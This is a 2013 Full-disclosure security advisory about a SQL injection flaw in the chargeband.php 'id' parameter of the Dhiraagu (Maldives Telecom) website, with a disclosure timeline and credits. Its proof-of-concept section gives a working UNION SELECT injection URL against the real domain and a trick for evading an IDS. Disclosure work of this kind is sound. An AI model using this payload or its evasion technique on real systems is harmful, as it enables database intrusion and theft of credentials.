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[Full-disclosure] Maldives Telecom ISP - Remote SQL Injection Vulnerability

Title:
======
Maldives Telecom ISP - SQL Injection Vulnerability


Date:
=====
2013-06-15


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=355


VL-ID:
=====
355


Common Vulnerability Scoring System:
====================================
9.3


Introduction:
=============
Dhiraagu takes pride in active involvement in the community in which we serve. 
As a truly
Maldivian company, we strongly identify with the community and regularly 
contribute to
worthy causes such as education, health and children s development. We also 
actively support
the island communities in their social activities.

We fully recognize the importance of sustainable development and caring for the 
delicate
environment of our islands and special care is taken to minimize the likelihood 
of damage
to the environment resulting from our activities. Dhiraagu is the largest user 
of solar power
in the Maldives with solar energy being used as the primary source of power in 
over 80% of
the network distribution sites across the country.

In addition, as the national information communications provider  bridging the 
Maldives ,
we bring environmental benefits to our customers through reductions in travel 
and the use
of electronic communications.

(Copy of the Vendor Homepage: 
http://www.dhiraagu.com.mv/about/community_development.php)


Abstract:
=========
An independent Vulnerability Laboratory Researcher discovered a remote SQL 
Injection Vulnerability in the official Maldives Telecom ISP Vendor Website.


Report-Timeline:
================
2012-12-12:     Researcher Notification & Coordination
2012-12-14:     Vendor Notification
2013-01-30:     Vendor Response/Feedback
2013-06-14:     Vendor Fix/Patch
2013-06-15:     Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
An SQL Injection Vulnerability is detected in the official Maldives Telecom ISP 
Vendor Website.
The vulnerability allows to inject/execute own sql commands in the vulnerable 
application dbms. 

The vulnerability is located in the national chare band module when processing 
to request the 
chargeband.php file with a manipulated id parameter. Remote attackers can 
inject own sql commands 
to read for example database passwords, usernames, mails & Co.

Exploitation of the vulnerability does not require user interaction or a 
privilege application 
user account. Successful exploitation of the vulnerability will result in 
application and dbms compromise.


Vulnerable Module(s):
                                [+] National Charge Band

Vulnerable File(s):
                                [+] chargeband.php

Vulnerable Parameter(s):
                                [+] id


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers (pre-auth) without 
application user account and without user interaction. 
For demonstration or reproduce ...

PoC: dhiraagu.com.mv

http://www.dhiraagu.com.mv/tariffs/chargeband.php?id=6 having 'smith'='smith1' 
union select unhex(hex(null)),
unhex(hex(@@version)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),
unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),
unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null)),unhex(hex(null))#

Note: There is an IDS/IPS, but this query will  allow to bypass the protection 
because of the unhex(hex to null.

Reference(s):
http://www.dhiraagu.com.mv/tariffs/chargeband.php?id=6[<SQL INJECTION 
VULNERABILITY!>]


Solution:
=========
The vulnerability can be patched by a secure parse of the GET method id 
parameter request.


Risk:
=====
The security risk of the remote sql injection vulnerability is estimated as 
critical.


Credits:
========
Ismail Kaleem - Senior Security Developer | IT Security Department
National Centre for Information Technology | Republic of Maldives


Disclaimer:
===========
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or trade with fraud/stolen material.

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